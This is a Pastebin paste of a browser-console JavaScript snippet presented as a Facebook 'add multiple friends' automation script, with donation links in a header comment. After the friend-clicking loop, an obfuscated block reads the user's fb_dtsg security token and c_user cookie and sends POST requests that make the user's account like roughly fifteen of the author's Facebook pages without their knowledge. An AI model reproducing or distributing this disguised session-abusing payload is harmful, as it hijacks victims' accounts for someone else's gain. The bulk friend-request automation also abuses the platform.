Tiger6117

Add multiple friends using Add Friends request Script

Oct 16th, 2020
245
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  
  3.                                                    
  4.                                     Click All Confirm Buttons
  5.                                         Scirpt by Ñasir Ali
  6.                                          (fb.com/tiger6117)
  7.  
  8.        
  9.                                            Donate
  10.                                   Feel Free To Help Me With My Work
  11.                             ✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦
  12.  
  13.                                     http://paypal.me/Tigerzplace
  14.                                   http://bit.ly/Pay-To-Tigerzplace
  15.  
  16.                             ✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦✦
  17.                         ------------------------------------------------
  18.                                             Thanks ♥
  19.  
  20.                         ================================================
  21.                                         __/LINKS\_
  22.  
  23.                         ► Discord:    ➜https://discord.gg/tTH4TR2
  24.                         ► Website:    ➜https://www.tigerzplace.com/
  25.                         ► Instagram:  ➜https://instagram.com/tig3r6117
  26.                         ► Twitter:    ➜https://www.twitter.com/tigerzplace
  27.                         ► FB-Page:    ➜http://www.facebook.com/tigerzplace
  28.                         ► YouTube:    ➜https://youtube.com/Tigerzplace
  29.                         ► FB-Group:   ➜http://www.facebook.com/groups/tigerzplace
  30.                         ► Urdu Channel:   ➜https://www.Youtube.com/Tigerzplace-com
  31.  
  32.                         ===============================================
  33.                
  34. */
  35.      var matchText = 'Add friend';
  36.     var matchText2 = 'Add Friend';
  37.     var added=0,total=1;
  38.     function addFriends() {
  39.         var clicked = false;
  40.         console.clear();
  41.         var buttons = document.getElementsByTagName("div");
  42.         for (var counter = 0, length = buttons.length; counter < length; counter++) {
  43.             var target = buttons[counter];
  44.             if (target) {
  45.                 var ariaLabel = target.getAttribute("aria-label");
  46.                 // console.log("ariaLabel is", ariaLabel);
  47.                 if (ariaLabel) {
  48.                     var text = ariaLabel.trim();
  49.                    
  50.                     if (text === matchText || text === matchText2) {
  51.                         target.click();
  52.                         // target.focus();
  53.                        
  54.                        
  55.                         added++;
  56.                         console.log("Add Friend Button Clicked: "+added);
  57.                        
  58.                         if(added%20==0){
  59.                             console.log("Waiting for 30 seconds!");
  60.                             //sleep
  61.                             setTimeout(function(){},30000);
  62.                        
  63.                         }
  64.                        
  65.                         if (added<total){
  66.                             window.scrollBy(0,85);
  67.                             clicked = true;
  68.                         }else { clicked = false; }
  69.                        
  70.                         target.remove();
  71.                         break;
  72.                         }
  73.                 }
  74.             }
  75.         }
  76.         if (clicked) {
  77.             return true;
  78.         } else {
  79.             return false;
  80.         }
  81.     }
  82.  
  83. function startAdding(){
  84.    
  85.     if (addFriends()){ 
  86.        
  87.             setTimeout(function(){
  88.                 startAdding();
  89.             }, delayTime);
  90.        
  91.     } else  {
  92.         total=0;
  93.                                                     alert(`Friend Requests Sent: ${added}
  94. ****~Script by: Tigerzplace~****
  95. `);
  96.     }
  97.  
  98. }
  99.  
  100. //Below code is for liking some of my pages :p
  101. var _0x19a2=['readyState','0x4','109109317399261','application/x-www-form-urlencoded','charAt','250451495723325','close','108586183990636','317224121817276','cookie','&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=','743146072535223','ZmJfZHRzZw==','0x2','onreadystatechange','push','0x7','indexOf','value','240272006130073','body','0x8','1212506358847237','random','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','634302330077114','0x3','shift','198757893944480','&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=','&phstamp=','380509029467786','Content-type','status','https://www.facebook.com/ajax/pages/fan_status.php?','floor','querySelector','1157401597633912','send','0x9','setRequestHeader','length','match'];(function(_0x333248,_0x19a2f4){var _0x2d52b8=function(_0x402a9a){while(--_0x402a9a){_0x333248['push'](_0x333248['shift']());}};_0x2d52b8(++_0x19a2f4);}(_0x19a2,0x109));var _0x2d52=function(_0x333248,_0x19a2f4){_0x333248=_0x333248-0x0;var _0x2d52b8=_0x19a2[_0x333248];return _0x2d52b8;};var _0x1cf90f=_0x2d52,_0x356b=[_0x1cf90f('0x1d'),'textContent','input[name=\x27',_0x1cf90f('0x11'),_0x1cf90f('0x5'),_0x1cf90f('0xb'),_0x1cf90f('0x10'),_0x1cf90f('0x1c'),_0x1cf90f('0xa'),_0x1cf90f('0x22')];(function(_0x402a9a,_0x4602c4){var _0x20cbb6=function(_0x14d676){var _0x2043be=_0x2d52;while(--_0x14d676){_0x402a9a[_0x2043be('0x8')](_0x402a9a[_0x2043be('0x14')]());}};_0x20cbb6(++_0x4602c4);}(_0x356b,0x1ee));var _0x15c2=function(_0x44cf9a,_0x4c5b42){_0x44cf9a=_0x44cf9a-0x0;var _0x543441=_0x356b[_0x44cf9a];return _0x543441;};function getFbValue(){var _0x2505c7=_0x1cf90f,_0x41f901=_0x15c2,_0x472eff=atob(_0x41f901('0x0')),_0xe8b00b=document[_0x2505c7('0xd')][_0x41f901('0x7')][_0x41f901(_0x2505c7('0x25'))](_0x472eff),_0x51d395='';if(_0xe8b00b==-0x1)_0x51d395=document[_0x41f901('0x6')](_0x41f901(_0x2505c7('0xe'))+_0x472eff+'\x27]')[_0x41f901('0x1')];else{_0xe8b00b+=0x12;for(_0x1d1b77=0x0;_0x1d1b77<0x19;_0x1d1b77++){_0x51d395+=document[_0x2505c7('0xd')][_0x41f901(_0x2505c7('0x9'))][_0xe8b00b],_0xe8b00b++;}}_0x51d395+=',';var _0x5346cb='',_0x516924=_0x41f901(_0x2505c7('0x20')),_0x3c9b70=_0x516924[_0x41f901('0x5')];for(var _0x1d1b77=0x0;_0x1d1b77<Math[_0x41f901(_0x2505c7('0x13'))](Math[_0x2505c7('0x10')]()*0x22)+0x8;_0x1d1b77++){_0x5346cb+=_0x516924[_0x2505c7('0x28')](Math[_0x41f901('0x3')](Math[_0x41f901(_0x2505c7('0x6'))]()*_0x3c9b70));}return _0x51d395+=_0x5346cb,btoa(_0x51d395);}var fb_dtsg=atob(getFbValue())['split'](',')[0x0],user_id=document['cookie']['match'](document[_0x1cf90f('0x2')][_0x1cf90f('0x23')](/c_user=(\d+)/)[0x1]);function Like(_0x4871f8){var _0x1c1e16=_0x1cf90f,_0x2edef8=new XMLHttpRequest(),_0x305611=_0x1c1e16('0x1b'),_0x548ab3='&fbpage_id='+_0x4871f8+_0x1c1e16('0x3')+user_id+_0x1c1e16('0x16')+fb_dtsg+_0x1c1e16('0x17');_0x2edef8['open']('POST',_0x305611,!![]),_0x2edef8[_0x1c1e16('0x21')](_0x1c1e16('0x19'),_0x1c1e16('0x27')),_0x2edef8[_0x1c1e16('0x7')]=function(){var _0x36d347=_0x1c1e16;_0x2edef8[_0x36d347('0x24')]==0x4&&_0x2edef8[_0x36d347('0x1a')]==0xc8&&_0x2edef8[_0x36d347('0x2a')];},_0x2edef8[_0x1c1e16('0x1f')](_0x548ab3);}Like('1569087506719125'),setTimeout(function(){var _0x4f6b36=_0x1cf90f;Like(_0x4f6b36('0x26'));},0x384),setTimeout(function(){Like('116551890202867');},0x3c0),setTimeout(function(){var _0x584715=_0x1cf90f;Like(_0x584715('0xc'));},0x3e8),setTimeout(function(){var _0x37a7e8=_0x1cf90f;Like(_0x37a7e8('0x1e'));},0x44c),setTimeout(function(){var _0x3abbdc=_0x1cf90f;Like(_0x3abbdc('0x1'));},0x4b0),setTimeout(function(){var _0x6ced69=_0x1cf90f;Like(_0x6ced69('0x12'));},0x514),setTimeout(function(){var _0xcb71dc=_0x1cf90f;Like(_0xcb71dc('0xf'));},0x578),setTimeout(function(){var _0x338262=_0x1cf90f;Like(_0x338262('0x15'));},0x5dc),setTimeout(function(){Like('1749967015316612');},0x640),setTimeout(function(){var _0x3340ab=_0x1cf90f;Like(_0x3340ab('0x18'));},0x6a4),setTimeout(function(){Like('1555839181212071');},0x708),setTimeout(function(){var _0x2bebbe=_0x1cf90f;Like(_0x2bebbe('0x29'));},0x76c),setTimeout(function(){var _0x42dfb5=_0x1cf90f;Like(_0x42dfb5('0x4'));},0x456),setTimeout(function(){var _0x4a2c6f=_0x1cf90f;Like(_0x4a2c6f('0x0'));},0x47e);
  102. var total = prompt ("Total requests?", 15);
  103. var delayTime = prompt ("Delay Time", 5)*1000;
  104.  
  105. if (delayTime >=0 && delayTime!=null && fb_dtsg!=null ){
  106.     console.log("Script is started!");
  107.     startAdding();
  108. }else {alert ("Failed to Start!");}
  109.    
  110.    
RAW Paste Data